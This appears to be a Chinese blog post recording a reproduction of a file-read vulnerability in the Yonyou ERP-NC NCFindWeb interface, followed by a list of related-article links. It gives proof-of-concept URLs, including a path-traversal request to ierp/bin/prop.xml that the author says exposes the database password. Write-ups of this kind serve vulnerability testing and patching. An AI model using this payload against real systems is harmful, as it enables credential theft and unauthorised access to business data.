用友ERP-NC系统 NCFindWeb接口文件读取

工作中遇到的漏洞，基于前人的复现教程成功复现，记录下自己的复现笔记，如有侵权，请联系我删除

漏洞详情

网上说可以遍历各种系统文件，但是实战中感觉对方实际上是做了控制的，存在漏洞但不一定真的能弄到敏感文件。

漏洞复现

POC

 http://vul/NCFindWeb?service=IPreAlertConfigService&filename=

在filename构造不同的路径可以访问到一些敏感文件

POC2

http://vul/NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml 可以读取到数据库密码

大多数时候是上图那样的，图中的文件都可以读取，但是其他文件夹不一定能穿越，不知道有没有大神能指点下。

用友ERP-NC系统 NCFindWeb接口文件读取相关推荐

UAP-STUDIO的NC系统Webservice接口开发
UAP-STUDIO的NC系统Webservice接口开发想要发布webservice接口,首先在eclipse中需要有发布webservice接口的工具WSTools,这个可以直接在浏览器搜索nc ...
《用友ERP房地产系统项目总结——客户管理》
< .NET MVC用友ERP房地产系统项目总结--客户管理> 完成功能模块:首页,客户登记,新增业务列表等一. 业务流程二.技术点总结(事务流程.数据库): (1)事务流程:客户登记 ...
用友ERP系统排名？用友ERP办公系统怎么选?什么是用户口碑最好的用友ERP系统？
提到ERP选型,难免不会提到用友,用友ERP怎么样?用友ERP的优缺点?用友ERP用户口碑怎么样? 想了解这些信息,您应该到选型宝,B2B的大众点评,看看用户对用友ERP产品的实名点评. 关于用友ER ...
nc java 5.7,用友ERP NC v5.7 ——安装详解篇
环境描述: (1)操作系统(OS):Windows Server 2008 Enterprise 64bit (2)数据库:Oracle 11g 64bit (3)ERP :用友NC V5.7 二 ...
基于数据接口文件读取的自动轨迹绘制
自动轨迹绘制根据脚本来绘制图形,不是写代码而是写数据绘制轨迹基本思路定义数据文件格式(接口:程序和数据之间的一种规范) 编写程序,根据文件接口解析参数绘制图形编制数据文件数据接口定义行进距 ...
C-Lodop云打印服务系统存在任意文件读取漏洞
目录漏洞概述影响版本漏洞复现漏洞修复漏洞概述 C-Lodop云打印服务器是一款非常好用且受欢迎的专业云打印软件,很实用,易操作简单,安装之后可以接收本地或者其他客户端浏览器的远程打印任务了, ...
用友ERP/NC--张丹（转自用友网站）
友ERP/NC 编者按持续创新与领先面向集团管理与应用蕴含先进管理理念具备先进应用架构具备先进技术架构拥有成熟商业模式后记编者按: 作为国内当前唯一能与国外厂商相抗衡的高端ERP产品, ...
nc提示java过期_用友NC系统使用过程中常见问题和解决方法！财会必看！
原标题:用友NC系统使用过程中常见问题和解决方法!财会必看! 用友NC系统使用过程中常见问题和解决方法: 1.无法安装客户端插件,不能进入NC系统登陆界面问题现象现象1:可以打开web界面,但无法 ...
用友java错误_用友NC系统使用过程中常见问题和解决方法
用友NC系统使用过程中常见问题和解决方法: 1.无法安装客户端插件,不能进入NC系统登陆界面问题现象现象1:可以打开web界面,但无法进入登陆界面,一直停留在右图所示界面. 现象2:系统提示安全警 ...
validatebox只提示不阻止提交_用友NC系统“登陆后页面显示不完全”，怎么办？...
用友NC系统使用过程中常见问题和解决方法: 1.无法安装客户端插件,不能进入NC系统登陆界面问题现象现象1:可以打开web界面,但无法进入登陆界面,一直停留在右图所示界面. 现象2:系统提示安全警 ...

用友ERP-NC系统 NCFindWeb接口文件读取

用友ERP-NC系统 NCFindWeb接口文件读取

漏洞详情

漏洞复现

用友ERP-NC系统 NCFindWeb接口文件读取相关推荐

最新文章

热门文章